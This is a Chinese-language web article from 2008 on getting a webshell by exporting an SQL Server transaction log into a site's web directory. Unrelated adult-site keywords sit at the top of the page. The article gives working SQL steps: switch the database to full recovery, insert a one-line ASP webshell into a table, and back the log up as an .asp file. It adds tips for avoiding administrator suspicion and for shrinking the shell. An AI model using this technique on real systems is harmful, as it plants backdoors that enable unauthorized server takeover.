亚洲成精品动漫久久精久,九九在线精品视频播放,黄色成人免费观看,三级成人影院,久碰久,四虎成人欧美精品在永久在线

掃一掃
關(guān)注微信公眾號

導出日志文件到web目錄來獲得shell
2008-07-16   第八軍團

如果單從調(diào)整增量備份的方式來看,盡管能夠達到一些效果,但是方法比較復雜而且效果不明顯。加上關(guān)于重用性的考慮,例如多次備份的成功率,backup database的方法并不太適用。這里將要講述的是另外一個備份的方法,導出日志文件到web目錄來獲得shell。
獲得webshell首先要知道物理路徑。關(guān)于物理路徑的暴露有很多方法,注入也可以得到,就不再多說。值得注意的是,如果數(shù)據(jù)庫和web分離,這樣肯定得不到webshell,備份出來的東西可以覆蓋任何文件,一些關(guān)于開始菜單的想法還是有效的,只要注意擴展名就好。扯遠了,反正如果數(shù)據(jù)庫和web在一塊的,你就有機會,反之還是想其他的辦法吧。
然后你要得到當前的權(quán)限和數(shù)據(jù)庫名。如果是sysadmin當然沒有必要做很復雜的事情,dbowner足矣,public則不行。當前打開的庫名用一個db_name()就可以得到,同樣很簡單。
默認的情況是,一般選擇的數(shù)據(jù)庫故障還原類型都是簡單,這時候不能夠?qū)θ罩疚募M行備份。然而我們都是dbowner了,還有什么不能做的呢,只要修改一下屬性就可以。由于不能去企業(yè)管理器中修改,只有用一段SQL語句,很簡單的,這樣就可以:

alter database XXXX set RECOVERY FULL

其中XXXX是你得到的數(shù)據(jù)庫的名字,執(zhí)行過后就可以備份日志了。這種修改是破壞性的,因為你不知道以前的故障還原模式是什么,細心的管理員看到異樣,可能就要開始起疑心。如果之前你能得到數(shù)據(jù)庫的狀態(tài),最好還是在備份完以后把這個數(shù)據(jù)庫的屬性改回來。

剩下的事情就是怎樣讓數(shù)據(jù)庫用最原始的方式記錄下你的數(shù)據(jù)了。這一點和backup database中設(shè)定表名為image的問題相對應,如果你只是建立一個<%%>之類的表,日志里面的記錄還是以松散的格式記錄的,也就是 < % % >,沒有任何效果。通過實際的測試,發(fā)現(xiàn)還是可以通過與backup database類似的方式記錄進去,如下:

create table cmd (a image)
insert into cmd (a) values ('<%Execute(request("Swan"))%>')
backup log XXXX to disk = 'c:xxx2.asp'

這樣你已經(jīng)得到一個webshell了。

到這里就完了么?沒有,呵呵,我們繼續(xù)。
到這里有兩個分支方向,第一個,讓注入的時候不出現(xiàn)單引號,太簡單了,我都懶得寫;第二個,減小這個webshell的長度以及提高成功率。下面的方法就是討論第二個分支問題的,同樣適用于backup database的減小。
首先是初始化這個日志。

backup log XXXX to disk = 'c:caonima' with init

這樣有點類似于增量備份的第一步,不過有點不同的是,你做了這個以后,你備份出來的可用的shell是固定的。這一點比較重要,因為有了這一步,不管管理員在數(shù)據(jù)庫里面做了什么擾亂你back database的手腳,或者你之前有多少混蛋(你肯定會這么想的)弄了些你不喜歡的東西,都沒有關(guān)系,甚至你做過以后,別人在后面再按照你的方法來一次,還是會成功,這對于偶爾出現(xiàn)的反復,比如對方機器重裝但是數(shù)據(jù)庫和代碼沒變,有不小的幫助。
然后是調(diào)整一下backup中各個語句的順序。通過第一點,大概的步驟已經(jīng)確定下來了,那就是:

alter database XXXX set RECOVERY FULL
backup log XXXX to disk = 'c:Sammy' with init
create table cmd (a image)
insert into cmd (a) values ('<%Execute(request("Swan"))%>')
backup log XXXX to disk = 'c:xxx2.asp'

這樣不好,感覺上多了一條沒用的東西。

create table cmd (a image)

確實有點討厭,不過這句是必要的,只好調(diào)整一下位置,弄到其他地方去。調(diào)換一下順序似乎還可以小一點,對于backup database中的增量情況同樣是可以的,backup database甚至可以僅僅在update后馬上備份,不過由于涉及到了數(shù)據(jù)的存儲格式,情況很復雜,這里不討論。調(diào)整后的是:

alter database XXXX set RECOVERY FULL
create table cmd (a image)
backup log XXXX to disk = 'c:Sammy' with init
insert into cmd (a) values ('<%Execute(request("Swan"))%>')
backup log XXXX to disk = 'c:xxx2.asp'

成功的話,備份出來的shell(上面的2.asp)有78.5k,文件長度固定的是80,384字節(jié)。很挑剔的朋友也可以接受了吧,當然用這個來生成一個干凈的木馬也可以——這本來就是頂端cs木馬的s端,很通用的。
進一步的,雖然不能再次縮小這個木馬了,但是可以讓垃圾文件少一點,那就是加上response.end,這樣后面的垃圾數(shù)據(jù)就不再顯示。所有的垃圾數(shù)據(jù),你可以統(tǒng)計一下,大約只有6~12k,也就是說,<%Execute(request("Swan"))%>這個數(shù)據(jù)大約在2.asp文件偏移6xxx到12xxx附近,最好的情況似乎在6k左右,而且這個概率分布比較靠前,很少見到10k以上。這還是比較令人滿意的。

目前用backup log來測試的成功率是100%,就這樣分析似乎不應該有失敗的情況。無論如何,這個比backup database好太多了。

熱詞搜索:

上一篇:突破重圍 臺達UPS成功進入重慶移動集采
下一篇:智邦SMC專為中小型企業(yè)量身打造網(wǎng)管交換機

分享到: 收藏